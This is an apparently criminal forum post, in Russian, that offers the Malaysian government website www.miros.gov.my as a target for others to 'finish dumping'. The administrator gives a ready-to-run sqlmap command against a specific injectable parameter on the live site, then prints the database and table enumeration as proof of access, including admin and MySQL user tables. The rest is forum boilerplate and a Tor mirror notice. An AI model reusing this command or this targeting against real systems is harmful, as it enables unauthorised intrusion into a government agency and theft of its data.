DUMP Слив госа www.miros.gov.my - рубрика доделай сам

  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

AnGel

Администратор
Команда форума

AnGel

Администратор
Команда форума
27 Авг 2015
3,411
2,024
Каждый может провести атаку так: python sqlmap.py --url="https://www.miros.gov.my/xs/publications.php?id_page=23&id=23'"
Додампите самостоятельно, для нас не было нужных данных.

Код:
Database: information_schema
+------------------------------------------------------+---------+
| Table                                                | Entries |
+------------------------------------------------------+---------+
| INNODB_BUFFER_PAGE                                   | 16384   |
| COLUMNS                                              | 3838    |
| INNODB_BUFFER_PAGE_LRU                               | 351     |
| TABLES                                               | 337     |
| PARTITIONS                                           | 237     |
| INNODB_METRICS                                       | 235     |
| COLLATION_CHARACTER_SET_APPLICABILITY                | 222     |
| COLLATIONS                                           | 222     |
| INNODB_SYS_COLUMNS                                   | 133     |
| STATISTICS                                           | 126     |
| KEY_COLUMN_USAGE                                     | 122     |
| VIEWS                                                | 100     |
| TABLE_CONSTRAINTS                                    | 89      |
| PARAMETERS                                           | 83      |
| USER_PRIVILEGES                                      | 58      |
| PROCESSLIST                                          | 55      |
| ROUTINES                                             | 48      |
| INNODB_SYS_FIELDS                                    | 44      |
| PLUGINS                                              | 44      |
| CHARACTER_SETS                                       | 41      |
| INNODB_FT_DEFAULT_STOPWORD                           | 36      |
| INNODB_SYS_INDEXES                                   | 30      |
| INNODB_SYS_TABLES                                    | 25      |
| INNODB_SYS_TABLESTATS                                | 25      |
| FILES                                                | 22      |
| INNODB_SYS_DATAFILES                                 | 20      |
| INNODB_SYS_TABLESPACES                               | 20      |
| ENGINES                                              | 9       |
| INNODB_CMP                                           | 5       |
| INNODB_CMP_RESET                                     | 5       |
| INNODB_CMPMEM                                        | 5       |
| INNODB_CMPMEM_RESET                                  | 5       |
| SCHEMATA                                             | 5       |
| SCHEMA_PRIVILEGES                                    | 2       |
| TABLE_PRIVILEGES                                     | 2       |
| TRIGGERS                                             | 2       |
| INNODB_BUFFER_POOL_STATS                             | 1       |
+------------------------------------------------------+---------+

Database: miros_web
+------------------------------------------------------+---------+
| Table                                                | Entries |
+------------------------------------------------------+---------+
| xs_keyword                                           | 7586    |
| xs_audit_trail                                       | 3486    |
| xs_file_copy                                         | 3030    |
| xs_file                                              | 701     |
| xs_events                                            | 592     |
| xs_page                                              | 585     |
| xs_page_copy                                         | 487     |
| dspoll_polls_ip                                      | 304     |
| xs_faq_list                                          | 222     |
| xs_directory                                         | 195     |
| xs_maklumbalas_submit                                | 140     |
| xs_events_bak                                        | 118     |
| xs_parentchild                                       | 48      |
| xs_banner                                            | 44      |
| xs_maklumbalas_history                               | 35      |
| xs_os_module_cat                                     | 30      |
| xs_year                                              | 30      |
| xs_os                                                | 24      |
| xs_directory_cat                                     | 21      |
| xs_pagetype                                          | 20      |
| xs_file_category                                     | 17      |
| xs_admin                                             | 14      |
| xs_audiovideo                                        | 14      |
| xs_folder                                            | 13      |
| xs_month                                             | 12      |
| xs_icon                                              | 11      |
| xs_maklumbalas_radio_opt                             | 11      |
| xs_mailserver                                        | 7       |
| xs_theme                                             | 7       |
| email_templates                                      | 6       |
| xs_faq_ctgry                                         | 6       |
| xs_icon_group                                        | 6       |
| xs_lang_def                                          | 6       |
| xs_maklumbalas_question_type                         | 6       |
| xs_adminlevel                                        | 5       |
| xs_maklumbalas_question                              | 5       |
| xs_maklumbalas_count                                 | 4       |
| xs_page_linktype                                     | 4       |
| xs_bg_image                                          | 3       |
| xs_maklumbalas_category                              | 3       |
| xs_populate                                          | 3       |
| xs_populate_group                                    | 3       |
| phpmysqlautobackup_log                               | 2       |
| xs_audiovideo_type                                   | 2       |
| xs_bg                                                | 2       |
| xs_lang                                              | 2       |
| xs_maklumbalas_type                                  | 2       |
| xs_status                                            | 2       |
| dspoll_polls                                         | 1       |
| email_templates_details                              | 1       |
| phpmysqlautobackup                                   | 1       |
| xs_setup                                             | 1       |
+------------------------------------------------------+---------+

Database: mysql
+------------------------------------------------------+---------+
| Table                                                | Entries |
+------------------------------------------------------+---------+
| help_relation                                        | 1412    |
| help_keyword                                         | 699     |
| help_topic                                           | 643     |
| proc                                                 | 48      |
| help_category                                        | 40      |
| innodb_index_stats                                   | 7       |
| server_cost                                          | 6       |
| `user`                                               | 4       |
| db                                                   | 2       |
| engine_cost                                          | 2       |
| innodb_table_stats                                   | 2       |
| tables_priv                                          | 2       |
| proxies_priv                                         | 1       |
+------------------------------------------------------+---------+

Database: performance_schema
+------------------------------------------------------+---------+
| Table                                                | Entries |
+------------------------------------------------------+---------+
| events_waits_summary_by_thread_by_event_name         | 25440   |
| memory_summary_by_thread_by_event_name               | 23600   |
| events_statements_summary_by_thread_by_event_name    | 15200   |
| events_waits_summary_by_instance                     | 12100   |
| mutex_instances                                      | 10760   |
| events_stages_summary_by_thread_by_event_name        | 10320   |
| variables_by_thread                                  | 7535    |
| status_by_thread                                     | 3135    |
| events_statements_summary_by_digest                  | 1803    |
| table_handles                                        | 1497    |
| setup_instruments                                    | 1022    |
| rwlock_instances                                     | 648     |
| events_waits_summary_by_account_by_event_name        | 636     |
| events_waits_summary_by_host_by_event_name           | 636     |
| events_waits_summary_by_user_by_event_name           | 636     |
| memory_summary_by_account_by_event_name              | 590     |
| memory_summary_by_host_by_event_name                 | 590     |
| memory_summary_by_user_by_event_name                 | 590     |
| events_statements_history                            | 546     |
| session_variables                                    | 512     |
| global_variables                                     | 498     |
| file_instances                                       | 447     |
| file_summary_by_instance                             | 447     |
| memory_summary_global_by_event_name                  | 381     |
| events_statements_summary_by_account_by_event_name   | 380     |
| events_statements_summary_by_host_by_event_name      | 380     |
| events_statements_summary_by_user_by_event_name      | 380     |
| events_waits_summary_global_by_event_name            | 318     |
| events_stages_summary_by_account_by_event_name       | 258     |
| events_stages_summary_by_host_by_event_name          | 258     |
| events_stages_summary_by_user_by_event_name          | 258     |
| objects_summary_global_by_type                       | 226     |
| session_status                                       | 209     |
| global_status                                        | 206     |
| events_statements_summary_global_by_event_name       | 190     |
| cond_instances                                       | 189     |
| events_stages_summary_global_by_event_name           | 129     |
| table_io_waits_summary_by_index_usage                | 114     |
| status_by_account                                    | 84      |
| status_by_host                                       | 84      |
| status_by_user                                       | 84      |
| events_transactions_summary_by_thread_by_event_name  | 80      |
| threads                                              | 80      |
| table_io_waits_summary_by_table                      | 58      |
| table_lock_waits_summary_by_table                    | 58      |
| socket_instances                                     | 56      |
| socket_summary_by_instance                           | 56      |
| events_statements_current                            | 55      |
| file_summary_by_event_name                           | 51      |
| events_statements_summary_by_program                 | 50      |
| setup_objects                                        | 20      |
| setup_consumers                                      | 15      |
| performance_timers                                   | 5       |
| setup_timers                                         | 5       |
| socket_summary_by_event_name                         | 3       |
| accounts                                             | 2       |
| events_transactions_summary_by_account_by_event_name | 2       |
| events_transactions_summary_by_host_by_event_name    | 2       |
| events_transactions_summary_by_user_by_event_name    | 2       |
| hosts                                                | 2       |
| users                                                | 2       |
| events_transactions_summary_global_by_event_name     | 1       |
| setup_actors                                         | 1       |
+------------------------------------------------------+---------+

Database: sys
+------------------------------------------------------+---------+
| Table                                                | Entries |
+------------------------------------------------------+---------+
| x$statement_analysis                                 | 1876    |
| statement_analysis                                   | 1870    |
| statements_with_full_table_scans                     | 1599    |
| x$statements_with_full_table_scans                   | 1560    |
| x$statements_with_temp_tables                        | 1450    |
| statements_with_errors_or_warnings                   | 1449    |
| statements_with_temp_tables                          | 1446    |
| x$statements_with_errors_or_warnings                 | 1429    |
| x$ps_digest_avg_latency_distribution                 | 1366    |
| statements_with_sorting                              | 583     |
| x$statements_with_sorting                            | 573     |
| io_global_by_file_by_bytes                           | 447     |
| io_global_by_file_by_latency                         | 447     |
| x$io_global_by_file_by_bytes                         | 447     |
| x$io_global_by_file_by_latency                       | 447     |
| metrics                                              | 412     |
| x$ps_schema_table_statistics_io                      | 287     |
| statements_with_runtimes_in_95th_percentile          | 96      |
| x$statements_with_runtimes_in_95th_percentile        | 93      |
| processlist                                          | 81      |
| x$processlist                                        | 81      |
| memory_by_thread_by_current_bytes                    | 80      |
| x$memory_by_thread_by_current_bytes                  | 80      |
| memory_global_by_current_bytes                       | 68      |
| x$memory_global_by_current_bytes                     | 68      |
| schema_table_statistics                              | 58      |
| schema_table_statistics_with_buffer                  | 58      |
| x$schema_table_statistics                            | 58      |
| x$schema_table_statistics_with_buffer                | 58      |
| schema_index_statistics                              | 57      |
| schema_tables_with_full_table_scans                  | 57      |
| x$schema_index_statistics                            | 57      |
| x$schema_tables_with_full_table_scans                | 57      |
| `session`                                            | 56      |
| session_ssl_status                                   | 56      |
| x$schema_flattened_keys                              | 56      |
| x$session                                            | 56      |
| schema_auto_increment_columns                        | 53      |
| io_by_thread_by_latency                              | 43      |
| x$io_by_thread_by_latency                            | 43      |
| innodb_buffer_stats_by_table                         | 29      |
| x$innodb_buffer_stats_by_table                       | 29      |
| host_summary_by_statement_type                       | 22      |
| user_summary_by_statement_type                       | 22      |
| waits_by_host_by_latency                             | 22      |
| x$host_summary_by_statement_type                     | 22      |
| x$user_summary_by_statement_type                     | 22      |
| x$waits_by_host_by_latency                           | 22      |
| host_summary_by_file_io_type                         | 20      |
| user_summary_by_file_io_type                         | 20      |
| x$host_summary_by_file_io_type                       | 20      |
| x$user_summary_by_file_io_type                       | 20      |
| waits_global_by_latency                              | 18      |
| x$waits_global_by_latency                            | 18      |
| io_global_by_wait_by_bytes                           | 16      |
| io_global_by_wait_by_latency                         | 16      |
| x$io_global_by_wait_by_bytes                         | 16      |
| x$io_global_by_wait_by_latency                       | 16      |
| schema_object_overview                               | 12      |
| waits_by_user_by_latency                             | 11      |
| x$waits_by_user_by_latency                           | 11      |
| sys_config                                           | 6       |
| innodb_buffer_stats_by_schema                        | 3       |
| wait_classes_global_by_avg_latency                   | 3       |
| wait_classes_global_by_latency                       | 3       |
| x$innodb_buffer_stats_by_schema                      | 3       |
| x$wait_classes_global_by_avg_latency                 | 3       |
| x$wait_classes_global_by_latency                     | 3       |
| host_summary_by_file_io                              | 2       |
| host_summary_by_statement_latency                    | 2       |
| memory_by_host_by_current_bytes                      | 2       |
| memory_by_user_by_current_bytes                      | 2       |
| user_summary                                         | 2       |
| user_summary_by_file_io                              | 2       |
| user_summary_by_statement_latency                    | 2       |
| x$host_summary_by_file_io                            | 2       |
| x$host_summary_by_statement_latency                  | 2       |
| x$memory_by_host_by_current_bytes                    | 2       |
| x$memory_by_user_by_current_bytes                    | 2       |
| x$user_summary                                       | 2       |
| x$user_summary_by_file_io                            | 2       |
| x$user_summary_by_statement_latency                  | 2       |
| `version`                                            | 1       |
| host_summary                                         | 1       |
| host_summary_by_stages                               | 1       |
| memory_global_total                                  | 1       |
| user_summary_by_stages                               | 1       |
| x$host_summary                                       | 1       |
| x$host_summary_by_stages                             | 1       |
| x$memory_global_total                                | 1       |
| x$ps_digest_95th_percentile_by_avg_us                | 1       |
| x$user_summary_by_stages                             | 1       |
+------------------------------------------------------+---------+
 

Вложения

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2022

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя